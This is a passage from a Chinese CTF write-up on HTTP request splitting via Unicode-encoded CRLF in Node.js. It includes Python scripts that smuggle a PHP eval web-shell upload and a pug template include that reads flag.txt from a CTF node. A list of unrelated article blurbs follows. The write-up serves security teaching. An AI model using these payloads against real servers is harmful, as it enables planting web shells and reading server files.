但是有一个问题,就是当我们将这个请求包里面的所有的字符包括控制字符全部用高编号Unicode码表示的话,最终生成的 Payload 的长度可能会过长,有对于有些服务器来说,如果我们请求的 URL 长度超过了限制的长度之后会报错。而且有的题目还需要对 Payload 进行 URL 编码甚至二次或三次编码,这样 Payload 的长度就更长了,所以我们还是建议只将那些控制字符用高编号Unicode编码就行了。编写新的 Payload 转换脚本:

payload = ''' HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \

print(payload)

# 输出: ?HTTP/1.1????POST?/upload.php?HTTP/1.1??Host:?127.0.0.1??Content-Length:?437??Content-Type:?multipart/form-data;?boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6??User-Agent:?Mozilla/5.0?(Windows?NT?10.0;?Win64;?x64)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/90.0.4430.72?Safari/537.36??Accept:?text/html,application/xhtmlīxml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9??Accept-Encoding:?gzip,?deflate??Accept-Language:?zh-CN,zh;q=0.9??Cookie:?PHPSESSID=nk67astv61hqanskkddslkgst4??Connection:?close????------WebKitFormBoundaryjDb9HMGTixAA7Am6??Content-Disposition:?form-data;?name=?MAX_FILE_SIZE?????100000??------WebKitFormBoundaryjDb9HMGTixAA7Am6??Content-Disposition:?form-data;?name=?uploaded?;?filename=?shell.php???Content-Type:?application/octet-stream????<?php?eval($_POST??whoami??);?>??------WebKitFormBoundaryjDb9HMGTixAA7Am6??Content-Disposition:?form-data;?name=?Upload?????Upload??------WebKitFormBoundaryjDb9HMGTixAA7Am6--????GET?/?HTTP/1.1??test:

其实主要就是将 \r\n 和空格进行编码,其他的字符如果是题目对他们做了过滤也可以自己加进去。最好是将所有的控制字符全部编码。

import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Content-Length: 291

----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="abc.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt

----------------------------919695033422425209299810--

GET /flag HTTP/1.1
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
r = requests.get('http://a5424015-e9f0-4db0-9d84-472bda633e45.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)


from: https://xz.aliyun.com/t/12387


相关推荐

JPA实体类注解,看这篇就全会了

基本注解@Entity标注于实体类声明语句之前,指出该Java类为实体类,将映射到指定的数据库表。name(可选):实体名称。缺省为实体类的非限定名称。该名称用于引用查询中的实体。不与@Tab...

Dify教程02 - Dify+Deepseek零代码赋能,普通人也能开发AI应用

开始今天的教程之前,先解决昨天遇到的一个问题,docker安装Dify的时候有个报错,进入Dify面板的时候会出现“InternalServerError”的提示,log日志报错:S3_USE_A...

用离散标记重塑人体姿态:VQ-VAE实现关键点组合关系编码

在人体姿态估计领域,传统方法通常将关键点作为基本处理单元,这些关键点在人体骨架结构上代表关节位置(如肘部、膝盖和头部)的空间坐标。现有模型对这些关键点的预测主要采用两种范式:直接通过坐标回归或间接通过...

B 客户端流RPC (clientstream Client Stream)

客户端编写一系列消息并将其发送到服务器,同样使用提供的流。一旦客户端写完消息,它就等待服务器读取消息并返回响应gRPC再次保证了单个RPC调用中的消息排序在客户端流RPC模式中,客户端会发送多个请...

我的模型我做主02——训练自己的大模型:简易入门指南

模型训练往往需要较高的配置,为了满足友友们的好奇心,这里我们不要内存,不要gpu,用最简单的方式,让大家感受一下什么是模型训练。基于你的硬件配置,我们可以设计一个完全在CPU上运行的简易模型训练方案。...

开源项目MessageNest打造个性化消息推送平台多种通知方式

今天介绍一个开源项目,MessageNest-可以打造个性化消息推送平台,整合邮件、钉钉、企业微信等多种通知方式。定制你的消息,让通知方式更灵活多样。开源地址:https://github.c...

使用投机规则API加快页面加载速度

当今的网络用户要求快速导航,从一个页面移动到另一个页面时应尽量减少延迟。投机规则应用程序接口(SpeculationRulesAPI)的出现改变了网络应用程序接口(WebAPI)领域的游戏规则。...

JSONP安全攻防技术

关于JSONPJSONP全称是JSONwithPadding,是基于JSON格式的为解决跨域请求资源而产生的解决方案。它的基本原理是利用HTML的元素标签,远程调用JSON文件来实现数据传递。如果...

大数据Doris(六):编译 Doris遇到的问题

编译Doris遇到的问题一、js_generator.cc:(.text+0xfc3c):undefinedreferenceto`well_known_types_js’查找Doris...

网页内嵌PDF获取的办法

最近女王大人为了通过某认证考试,交了2000RMB,官方居然没有给线下教材资料,直接给的是在线教材,教材是PDF的但是是内嵌在网页内,可惜却没有给具体的PDF地址,无法下载,看到女王大人一点点的截图保...

印度女孩被邻居家客人性骚扰,父亲上门警告,反被围殴致死

微信的规则进行了调整希望大家看完故事多点“在看”,喜欢的话也点个分享和赞这样事儿君的推送才能继续出现在你的订阅列表里才能继续跟大家分享每个开怀大笑或拍案惊奇的好故事啦~话说只要稍微关注新闻的人,应该...

下周重要财经数据日程一览 (1229-0103)

下周焦点全球制造业PMI美国消费者信心指数美国首申失业救济人数值得注意的是,下周一希腊还将举行第三轮总统选举需要谷歌日历同步及部分智能手机(安卓,iPhone)同步日历功能的朋友请点击此链接,数据公布...

PyTorch 深度学习实战(38):注意力机制全面解析

在上一篇文章中,我们探讨了分布式训练实战。本文将深入解析注意力机制的完整发展历程,从最初的Seq2Seq模型到革命性的Transformer架构。我们将使用PyTorch实现2个关键阶段的注意力机制变...

聊聊Spring AI的EmbeddingModel

序本文主要研究一下SpringAI的EmbeddingModelEmbeddingModelspring-ai-core/src/main/java/org/springframework/ai/e...

前端分享-少年了解过iframe么

iframe就像是HTML的「内嵌画布」,允许在页面中加载独立网页,如同在画布上叠加另一幅动态画卷。核心特性包括:独立上下文:每个iframe都拥有独立的DOM/CSS/JS环境(类似浏...